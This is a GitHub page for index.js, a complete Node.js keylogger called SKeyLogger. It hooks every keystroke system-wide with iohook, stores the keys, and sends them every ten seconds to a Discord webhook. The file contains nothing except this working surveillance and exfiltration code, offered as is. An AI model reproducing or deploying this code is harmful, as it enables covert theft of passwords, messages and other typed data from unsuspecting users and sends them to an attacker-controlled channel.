-
Notifications
You must be signed in to change notification settings - Fork 1
/
index.js
39 lines (32 loc) · 985 Bytes
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
"use strict";
// Dependencies
const discord = require("discord.js")
const keycode = require("keycode")
const ioHook = require("iohook")
//Variables
var SKeyLogger = {
webhookLink: "",
keys: ""
}
const Webhook = new discord.WebhookClient(SKeyLogger.webhookLink.split("/")[SKeyLogger.webhookLink.split("/").length-2], SKeyLogger.webhookLink.split("/")[SKeyLogger.webhookLink.split("/").length-1])
//Main
ioHook.on("keydown", (event)=>{
if(keycode.names[event.rawcode] == "enter"){
SKeyLogger.keys += "\n"
return
}else if(keycode.names[event.rawcode] == "space"){
SKeyLogger.keys += " "
return
}else if(!keycode.names[event.rawcode]){
return
}
SKeyLogger.keys += keycode.names[event.rawcode]
})
ioHook.start()
setInterval(function(){
if(SKeyLogger.keys.length){
Webhook.send(SKeyLogger.keys).then(()=>{
SKeyLogger.keys = ""
})
}
}, 10000) //Seconds typed keys every 10 seconds